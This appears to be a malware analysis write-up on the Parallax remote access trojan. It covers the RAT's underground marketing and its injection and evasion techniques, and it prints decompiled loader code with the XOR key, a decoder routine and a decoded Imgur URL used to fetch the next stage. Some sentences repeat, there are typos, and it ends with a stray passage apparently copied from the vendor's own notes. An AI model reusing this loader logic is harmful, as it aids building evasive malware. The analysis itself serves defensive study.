I. Background & Executive Summary
The Parallax remote administration tool/Trojan (RAT) emerged in 2019 on the underground community written in MASM programming language. The RAT certainly became notorious for its low static detection oftentimes observed with close to 0 detection as displayed on VirusTotal. The malware also uses signed digital certificates as well as part of the payload execution.
The Parallax developers market the malware as RAT as follows:
The RAT malware binary builds a table with function addresses leveraging API process environmental block (PEB) CRC32 hashing algorithm with a parser for "%x.png" and "cmd.exe."
The Parallax developers market the malware as RAT as follows:
Parallax RAT had been developed by a professional team and its fully coded in MASM.
Its created to be best in remote administration.
Parallax RAT will provide you all you need.
Suitable for professionals and as well for beginners.
First and most important we offer 99% reliability when it comes to stability.
Parallax was designed to give the user a real multithreaded performance,
blazing fast speed and lightweight deployment to your computers with very little resource
consumption.
We are a group of developers and we are here to offer quality service.

The malware authors boast runtime anti-virus bypasses which are achieved in part of its more signed loader coupled with Process Hollowing and Process Doppelgänging injection techniques. The goal of the injection is to impersonate legitimate system executables such as mstcs.exe and cmd.exd and avoid being filtered and detected by the anti-virus engines.
Moreover, two additional features stand out when dealing with this malware as its low-level injection technique with the image additional decoded from the Imgur image as, for example, "Big Brother Is Watching You".
The malware writes the layer named as "%x.png" to local %TEMP% directory. The name is generated via few rand and srand API calls formatted to hexadecimal string.
II. Parallax RAT: Loader Portion Flow
A. Main Flow Overview
The crypted signed loader decodes the layer using XOR and key '0x3BC01699' as well as the URL string to pass to the next layer. The layer is injected into the process setup within the loader itself.
The crypted signed loader decodes the layer using XOR and key '0x3BC01699' as well as the URL string to pass to the next layer. The layer is injected into the process setup within the loader itself.
The main loop is as follows as pseudo-coded C++:
hModule = GetModuleHandleA(ModuleName);
v_alloc_ret = GetProcAddress(hModule, &ProcName);// VirtualAlloc
v25 = ((int (__cdecl *)(int, signed int, signed int, int))v_alloc_ret)
(v48, 41648, 4096, v28);
decoder(v25, (int)&payload_blob, v44); // payload_bin
v29[v50 / 4] = v25;
v29[v49 / 4] = v33;
v29[v47 / 4] = v35;
v29[v46 / 4] = v32;
v24 = v36 + v25;
v23 = (int (__cdecl *)(int **))(v36 + v25);
decoder((int)v3, (int)&url_blob, v42); // "https://i.imgur.com/emshETT.png"
mstc = aMstsc_exe; // "mstsc.exe"
v1 = v3;
result = v23(&v1);
if ( !v91 )
result = 1;
return result;
int __cdecl decoder(int alloc_address, int enc_blob, int enc_lentgh)
{
int result;
int i;
int iter_cmp;
result = 0;
iter_cmp = 0;
for ( i = 0; i < enc_lentgh; ++i )
{
result = i;
*(_DWORD *)(alloc_address + 4 * i) = key[iter_cmp] ^ *(_DWORD *)(enc_blob + 4 * i);
//key '0x3BC01699'
if ( iter_cmp )
++iter_cmp;
else
iter_cmp = 0;
}
return result;
}
B. Dynamic Code Stack Execution
The malware complicates some analysis due to its stack dynamic call execution. Parallax also loads another ntdll DLL library into memory leveraging API calls and retrieve path via GetSystemDirectoryW.

C. Process Hollowing & Process Doppelgänging Mix with PEB Traversal
Parallax relies on native level (Nt/Zw) process hollowing injection technique.

The malware also contains the usual Process Doppelgänging API calls such as follows as resolved via PEB traversal (to be explored further):

- ZwCreateSection

III. Parallax RAT: Payload Portion Flow
A. Main Flow
The malware payload runs ZwDelayExecution API and resolves API via PEB traversal technique relying on global memory allocations and preferring Zw*-prefix API calls.
It has its unique unique file generation algorithm leveraging srand and rand API calls and obfuscating the file as ".png" in %TEMP% directory.

Please note that this software at its early stages. So don't freak out if you find something that doesn't work as expected.
Most bugs happen because the coder did not test the same settings/environment as you did. You should report any bugs/issues to be fixed.
You need to be more specific about what you exactly faced. Things like "it crashes" does not help track down the issue.
